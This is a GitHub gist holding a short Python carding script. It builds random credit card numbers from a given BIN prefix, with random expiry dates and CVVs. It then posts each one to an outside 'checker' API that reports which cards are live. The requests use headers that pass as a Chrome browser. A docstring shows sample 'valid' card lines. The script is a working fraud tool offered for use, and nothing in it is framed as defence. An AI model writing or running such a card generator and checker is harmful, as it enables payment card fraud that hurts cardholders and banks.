Last active
January 18, 2022 11:17
-
-
Save hldr4/0d956e59712c94050d4a34db72433279 to your computer and use it in GitHub Desktop.
Generates n random credit cards from a given BIN, and checks them for validity using the gostrafx API
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests, sys, random | |
""" | |
Example usage: | |
ccgen.py 5398172511xxxxxx 20 | |
which returns | |
Valid: | |
5398172511214173|10|2029|898 | |
5398172511129149|11|2023|414 | |
5398172511848561|03|2028|986 | |
5398172511685723|04|2027|769 | |
9 dead, 7 unknown | |
(whether the BIN has x or other letters for unknowns doesn't matter, simply passing the number is enough) | |
""" | |
BIN = ''.join(c for c in sys.argv[1] if c.isdigit()) | |
n = int(sys.argv[2]) | |
def gen(BIN): | |
chklist = [] | |
for _ in range(n): | |
ccn = f'{BIN}{"".join(map(str, [random.randint(1, 9) for _ in range(16-len(BIN))]))}' | |
expmonth = f'{random.randint(1,12):02}' | |
expyear = str(random.randint(2023, 2029)) | |
cvv = f'{random.randint(1,999):03}' | |
chklist.append(f'{ccn}|{expmonth}|{expyear}|{cvv}') | |
return chklist | |
def check(chk): | |
headers = { | |
'authority': 'gostrafx.com', | |
'sec-ch-ua': '" Not;A Brand";v="99", "Google Chrome";v="97", "Chromium";v="97"', | |
'dnt': '1', | |
'sec-ch-ua-mobile': '?0', | |
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36', | |
'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', | |
'accept': '*/*', | |
'x-requested-with': 'XMLHttpRequest', | |
'sec-ch-ua-platform': '"Windows"', | |
'origin': 'https://gostrafx.com', | |
'sec-fetch-site': 'same-origin', | |
'sec-fetch-mode': 'cors', | |
'sec-fetch-dest': 'empty', | |
'accept-language': 'en-US,en;q=0.9', | |
} | |
dead, alive, limbo = [], [], [] | |
for cc in chk: | |
res = requests.post('https://gostrafx.com/api.php', headers=headers, data={'data': cc}).text | |
if 'Live' in res: alive.append(cc) | |
elif 'Die' in res: dead.append(cc) | |
elif 'Unknown' in res: limbo.append(cc) | |
print('\nValid:\n') | |
for card in alive: | |
print(card) | |
print(f'\n{len(dead)} dead, {len(limbo)} unknown') | |
check(gen(BIN)) | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment